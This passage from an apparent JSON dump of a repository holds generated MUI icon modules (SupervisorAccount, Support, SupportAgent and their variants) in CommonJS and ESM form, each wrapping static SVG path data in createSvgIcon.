1.43-.5-1.04-.78-2.2-.78-3.43 0-4.41 3.59-8 8-8s8 3.59 8 8c0 1.2-.27 2.34-.75 3.37-1-.59-2.36-.87-3.24-.87-1.52 0-4.5.81-4.5 2.7v2.78c-2.27-.13-4.29-1.21-5.66-2.86\"\n}, \"2\")], 'SupervisedUserCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 17.21c0-1.88 2.98-2.7 4.5-2.7.88 0 2.24.27 3.24.87.48-1.02.75-2.16.75-3.37 0-4.41-3.59-8-8-8s-8 3.59-8 8c0 1.23.29 2.39.78 3.43 1.34-.98 3.43-1.43 4.73-1.43.44 0 .97.05 1.53.16-.63.57-1.06 1.22-1.3 1.86-.08 0-.15-.01-.23-.01-1.38 0-2.98.57-3.66 1.11 1.37 1.65 3.39 2.73 5.66 2.86zM16 9c1.11 0 2 .89 2 2s-.89 2-2 2-2-.89-2-2c-.01-1.11.89-2 2-2m-6.5 4c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 10c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6.5 2c1.11 0 2-.89 2-2s-.89-2-2-2-2.01.89-2 2c0 1.11.89 2 2 2M11.99 2.01c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10M5.84 17.12c.68-.54 2.27-1.11 3.66-1.11.07 0 .15.01.23.01.24-.64.67-1.29 1.3-1.86-.56-.1-1.09-.16-1.53-.16-1.3 0-3.39.45-4.73 1.43-.5-1.04-.78-2.2-.78-3.43 0-4.41 3.59-8 8-8s8 3.59 8 8c0 1.2-.27 2.34-.75 3.37-1-.59-2.36-.87-3.24-.87-1.52 0-4.5.81-4.5 2.7v2.78c-2.27-.13-4.29-1.21-5.66-2.86\"\n}, \"2\")], 'SupervisedUserCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccount.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c1.38 0 2.49-1.12 2.49-2.5S17.88 7 16.5 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5M9 11c1.66 0 2.99-1.34 2.99-3S10.66 5 9 5 6 6.34 6 8s1.34 3 3 3m7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75M9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13\"\n}), 'SupervisorAccount');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccount.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c1.38 0 2.49-1.12 2.49-2.5S17.88 7 16.5 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5M9 11c1.66 0 2.99-1.34 2.99-3S10.66 5 9 5 6 6.34 6 8s1.34 3 3 3m7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75M9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13\"\n}), 'SupervisorAccount');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m.05 10H4.77c.99-.5 2.7-1 4.23-1 .11 0 .23.01.34.01.34-.73.93-1.33 1.64-1.81-.73-.13-1.42-.2-1.98-.2-2.34 0-7 1.17-7 3.5V19h7v-1.5c0-.17.02-.34.05-.5m7.45-2.5c-1.84 0-5.5 1.01-5.5 3V19h11v-1.5c0-1.99-3.66-3-5.5-3m1.21-1.82c.76-.43 1.29-1.24 1.29-2.18C19 9.12 17.88 8 16.5 8S14 9.12 14 10.5c0 .94.53 1.75 1.29 2.18.36.2.77.32 1.21.32s.85-.12 1.21-.32\"\n}), 'SupervisorAccountOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m.05 10H4.77c.99-.5 2.7-1 4.23-1 .11 0 .23.01.34.01.34-.73.93-1.33 1.64-1.81-.73-.13-1.42-.2-1.98-.2-2.34 0-7 1.17-7 3.5V19h7v-1.5c0-.17.02-.34.05-.5m7.45-2.5c-1.84 0-5.5 1.01-5.5 3V19h11v-1.5c0-1.99-3.66-3-5.5-3m1.21-1.82c.76-.43 1.29-1.24 1.29-2.18C19 9.12 17.88 8 16.5 8S14 9.12 14 10.5c0 .94.53 1.75 1.29 2.18.36.2.77.32 1.21.32s.85-.12 1.21-.32\"\n}), 'SupervisorAccountOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c1.38 0 2.49-1.12 2.49-2.5S17.88 7 16.5 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5M9 11c1.66 0 2.99-1.34 2.99-3S10.66 5 9 5 6 6.34 6 8s1.34 3 3 3m7.5 3c-1.83 0-5.5.92-5.5 2.75V18c0 .55.45 1 1 1h9c.55 0 1-.45 1-1v-1.25c0-1.83-3.67-2.75-5.5-2.75M9 13c-2.33 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h6v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13\"\n}), 'SupervisorAccountRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c1.38 0 2.49-1.12 2.49-2.5S17.88 7 16.5 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5M9 11c1.66 0 2.99-1.34 2.99-3S10.66 5 9 5 6 6.34 6 8s1.34 3 3 3m7.5 3c-1.83 0-5.5.92-5.5 2.75V18c0 .55.45 1 1 1h9c.55 0 1-.45 1-1v-1.25c0-1.83-3.67-2.75-5.5-2.75M9 13c-2.33 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h6v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13\"\n}), 'SupervisorAccountRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c1.38 0 2.49-1.12 2.49-2.5S17.88 7 16.5 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5M9 11c1.66 0 2.99-1.34 2.99-3S10.66 5 9 5 6 6.34 6 8s1.34 3 3 3m7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75M9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13\"\n}), 'SupervisorAccountSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c1.38 0 2.49-1.12 2.49-2.5S17.88 7 16.5 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5M9 11c1.66 0 2.99-1.34 2.99-3S10.66 5 9 5 6 6.34 6 8s1.34 3 3 3m7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75M9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13\"\n}), 'SupervisorAccountSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.77 17h4.28c.01-.06.12-.58.29-.99-.11 0-.23-.01-.34-.01-1.53 0-3.25.5-4.23 1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m.05 10H4.77c.99-.5 2.7-1 4.23-1 .11 0 .23.01.34.01.34-.73.93-1.33 1.64-1.81-.73-.13-1.42-.2-1.98-.2-2.34 0-7 1.17-7 3.5V19h7v-1.5c0-.17.02-.34.05-.5m7.45-2.5c-1.84 0-5.5 1.01-5.5 3V19h11v-1.5c0-1.99-3.66-3-5.5-3m1.21-1.82c.76-.43 1.29-1.24 1.29-2.18C19 9.12 17.88 8 16.5 8S14 9.12 14 10.5c0 .94.53 1.75 1.29 2.18.36.2.77.32 1.21.32s.85-.12 1.21-.32\"\n}, \"2\")], 'SupervisorAccountTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisorAccountTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.77 17h4.28c.01-.06.12-.58.29-.99-.11 0-.23-.01-.34-.01-1.53 0-3.25.5-4.23 1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m.05 10H4.77c.99-.5 2.7-1 4.23-1 .11 0 .23.01.34.01.34-.73.93-1.33 1.64-1.81-.73-.13-1.42-.2-1.98-.2-2.34 0-7 1.17-7 3.5V19h7v-1.5c0-.17.02-.34.05-.5m7.45-2.5c-1.84 0-5.5 1.01-5.5 3V19h11v-1.5c0-1.99-3.66-3-5.5-3m1.21-1.82c.76-.43 1.29-1.24 1.29-2.18C19 9.12 17.88 8 16.5 8S14 9.12 14 10.5c0 .94.53 1.75 1.29 2.18.36.2.77.32 1.21.32s.85-.12 1.21-.32\"\n}, \"2\")], 'SupervisorAccountTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Support.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'Support');"
  },
  {
    "path": "packages/mui-icons-material/lib/Support.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'Support');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2h1v-6.1c0-3.87 3.13-7 7-7s7 3.13 7 7V19h-8v2h8c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgent');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2h1v-6.1c0-3.87 3.13-7 7-7s7 3.13 7 7V19h-8v2h8c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgent');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2h1v-6.1c0-3.87 3.13-7 7-7s7 3.13 7 7V19h-8v2h8c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2h1v-6.1c0-3.87 3.13-7 7-7s7 3.13 7 7V19h-8v2h8c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2 .55 0 1-.45 1-1v-4.81c0-3.83 2.95-7.18 6.78-7.29 3.96-.12 7.22 3.06 7.22 7V19h-7c-.55 0-1 .45-1 1s.45 1 1 1h7c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2 .55 0 1-.45 1-1v-4.81c0-3.83 2.95-7.18 6.78-7.29 3.96-.12 7.22 3.06 7.22 7V19h-7c-.55 0-1 .45-1 1s.45 1 1 1h7c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.99 12c-.11-5.37-4.31-9-8.99-9-4.61 0-8.85 3.53-8.99 9H2v6h3v-5.81c0-3.83 2.95-7.18 6.78-7.29 3.96-.12 7.22 3.06 7.22 7V19h-8v2h10v-3h1v-6z\"\n}, \"3\")], 'SupportAgentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.99 12c-.11-5.37-4.31-9-8.99-9-4.61 0-8.85 3.53-8.99 9H2v6h3v-5.81c0-3.83 2.95-7.18 6.78-7.29 3.96-.12 7.22 3.06 7.22 7V19h-8v2h10v-3h1v-6z\"\n}, \"3\")], 'SupportAgentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2h1v-6.1c0-3.87 3.13-7 7-7s7 3.13 7 7V19h-8v2h8c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportAgentTwoTone.mjs",
